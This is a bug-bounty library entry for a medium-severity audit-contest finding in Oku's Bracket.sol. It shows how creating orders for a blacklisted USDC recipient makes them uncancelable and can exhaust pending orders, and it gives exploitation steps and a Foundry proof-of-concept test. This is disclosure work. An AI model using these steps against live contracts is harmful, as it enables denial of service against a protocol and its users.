# Malicious User can Poison Bracket.sol with Blacklisted Accounts

Bracket.sol lets a payer create orders with a blacklisted recipient, making orders uncancelable and filling pendingOrderIds to DoS the orderbook.

- Payout: Audit contest
- Severity: medium
- Program: Oku
- Found by: Boy2000
- Disclosed: 2024-11-22
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-11-oku-judging/issues/424
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-oku%3AM-7
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:business-logic vuln:dos

**Target:** Bracket.sol automated trigger order contract
**Root cause:** createOrder does not validate that order.recipient can receive the token; procureTokens pulls funds from msg.sender, so a non-blacklisted payer can fund an order for a blacklisted recipient. _cancelOrder/adminCancelOrder then revert when transferring back to the blacklisted recipient.
**Steps:**
1. Deploy/fork with a blacklistable token (USDC) registered in AutomationMaster.
2. As non-blacklisted attacker, approve Bracket and call `createOrder(..., usdc, weth, blacklistedRecipient, ...)` with minimal amount.
3. Repeat until pendingOrderIds reaches maxPendingOrders.
4. Admin `adminCancelOrder(id)` reverts with `Blacklistable: account is blacklisted`, so orders cannot be removed.
**How found:** Noticed procureTokens uses msg.sender while refunds go to order.recipient, and that blacklistable tokens are supported; hypothesized a mismatch between payer and recipient enables stuck orders.
**Exploitation:** Attacker cheaply creates many orders whose recipient is a blacklisted address; each order is uncancelable because refund transfer to recipient reverts, saturating pendingOrderIds and blocking new orders (DoS), plus gas blowup in removeFromArray.
**Insight:** When a contract separates payer (msg.sender) from payout recipient, check whether refund/cancel paths transfer to the recipient; blacklistable or reverting-recipient tokens turn that asymmetry into uncancelable state that can exhaust bounded arrays.

## Proof of concept (copied exactly from the original report)

**Foundry test creating order for blacklisted recipient**

```
function testBlacklist() public {
        address blacklisted = 0xE1D865c3D669dCc8c57c8D023140CB204e672ee4;
        vm.startPrank(_alice);
        usdc.approve(address(bracket), 1e6);

        bracket.createOrder(
            bytes(""),
            0,
            0,
            1e6,
            usdc,
            weth,
            blacklisted,
            0,
            0,
            0,
            false,
            bytes(abi.encode(""))
        );

        vm.stopPrank();

        vm.startPrank(_admin);
        vm.expectRevert();
        bracket.adminCancelOrder(39339196620263951948733905105);
        vm.stopPrank();
    }
```

